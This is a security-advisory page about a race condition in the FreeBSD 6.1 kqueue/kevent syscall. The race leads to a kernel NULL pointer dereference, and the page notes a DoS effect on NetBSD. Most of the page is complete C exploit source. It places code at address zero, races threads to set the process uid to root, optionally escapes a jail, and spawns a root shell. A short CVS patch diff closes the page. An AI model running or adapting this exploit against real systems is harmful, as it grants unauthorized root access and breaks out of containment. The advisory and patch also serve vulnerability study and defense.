Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:22361
HistoryAug 24, 2009 - 12:00 a.m.

FreeBSD <= 6.1 kqueue() NULL pointer dereference

2009-08-2400:00:00
vulners.com
9

FreeBSD <= 6.1 suffers from classical check/use race condition on SMP
systems in kevent() syscall, leading to kernel mode NULL pointer
dereference. It can be triggered by spawning two threads:
1st thread looping on open() and close() syscalls, and the 2nd thread
looping on kevent(), trying to add possibly invalid filedescriptor.

The bug was fixed in 6.1-STABLE, just before release of 6.2-RELEASE, but
was not recognized as security vulnerability.

In fact, the same bug affects DragonFlyBSD 2.2.1 and NetBSD 5.0.1, but
it seems to be not-exploitable due to mutexes. In case of NetBSD,
exploitation attempt causes kernel-mode deadlock, therefore
process is unkillable (even with SIGKILL) until reboot, which can lead
to DoS.

The following code exploits this vulnerability to run root shell on
FreeBSD 6.1.

/* 22.08.2009, babcia padlina

  • FreeBSD 6.1 kevent() race condition exploit
  • works only on multiprocessor systems
  • gcc -o padlina padlina.c -lpthread
  • -DPRISON_BREAK if you want to exit from jail
  • with thanks to Pawel Pisarczyk for in-depth ia-32 architecture discussion
    */

#define _KERNEL

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/event.h>
#include <sys/timespec.h>
#include <pthread.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/proc.h>

int fd, kq;
struct kevent kev, ke;
struct timespec timeout;
volatile int gotroot = 0;

static void kernel_code(void) {
struct thread *thread;
gotroot = 1;
asm(
"movl %%fs:0, %0"
: "=r"(thread)
);
thread->td_proc->p_ucred->cr_uid = 0;
#ifdef PRISON_BREAK
thread->td_proc->p_ucred->cr_prison = NULL;
#endif
return;
}

static void code_end(void) {
return;
}

void do_thread(void) {
usleep(100);

while &#40;!gotroot&#41; {
	memset&#40;&amp;kev, 0, sizeof&#40;kev&#41;&#41;;
	EV_SET&#40;&amp;kev, fd, EVFILT_VNODE, EV_ADD, 0, 0, NULL&#41;;

	if &#40;kevent&#40;kq, &amp;kev, 1, &amp;ke, 1, &amp;timeout&#41; &lt; 0&#41;
		perror&#40;&quot;kevent&quot;&#41;;
}

return;

}

void do_thread2(void) {
while(!gotroot) {
if ((fd = open("/tmp/.padlina", O_RDWR | O_CREAT, 0600)) < 0)
perror("open");

	close&#40;fd&#41;;
}

return;

}

int main(void) {
int i;
pthread_t pth, pth2;

if &#40;mmap&#40;0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0&#41; &lt; 0&#41; {
	perror&#40;&quot;mmap&quot;&#41;;
	return -1;
}

memcpy&#40;0, &amp;kernel_code, &amp;code_end - &amp;kernel_code&#41;;

if &#40;&#40;kq = kqueue&#40;&#41;&#41; &lt; 0&#41; {
	perror&#40;&quot;kqueue&quot;&#41;;
	return -1;
}

pthread_create&#40;&amp;pth, NULL, &#40;void *&#41;do_thread, NULL&#41;;
pthread_create&#40;&amp;pth2, NULL, &#40;void *&#41;do_thread2, NULL&#41;;

timeout.tv_sec = 0;
timeout.tv_nsec = 1;

printf&#40;&quot;waiting for root...&#92;n&quot;&#41;;
i = 0;

while &#40;!gotroot &amp;&amp; i++ &lt; 10000&#41;
	usleep&#40;100&#41;;

setuid&#40;0&#41;;

if &#40;getuid&#40;&#41;&#41; {
	printf&#40;&quot;failed - system patched or not MP&#92;n&quot;&#41;;
	return -1;
}

printf&#40;&quot;hwdp!&#92;n&quot;&#41;;

execl&#40;&quot;/bin/sh&quot;, &quot;sh&quot;, NULL&#41;;

return 0;

}

Patch for this vulnerability, as in CVS:

— src/sys/kern/kern_descrip.c 2006/09/04 10:30:09 1.279.2.8
+++ src/sys/kern/kern_descrip.c 2006/09/29 18:30:48 1.279.2.9
@@ -35,7 +35,7 @@
*/

#include <sys/cdefs.h>
-__FBSDID("$FreeBSD: /usr/local/www/cvsroot/FreeBSD/src/sys/kern/kern_descrip.c,v 1.279.2.8 2006/09/04 10:30:09 pjd Exp $");
+__FBSDID("$FreeBSD: /usr/local/www/cvsroot/FreeBSD/src/sys/kern/kern_descrip.c,v 1.279.2.9 2006/09/29 18:30:48 jmg Exp $");

#include "opt_compat.h"
#include "opt_ddb.h"
@@ -2602,7 +2602,7 @@ static int
badfo_kqfilter(struct file *fp, struct knote *kn)
{

  • return (0);
  • return (EBADF);
    }

static int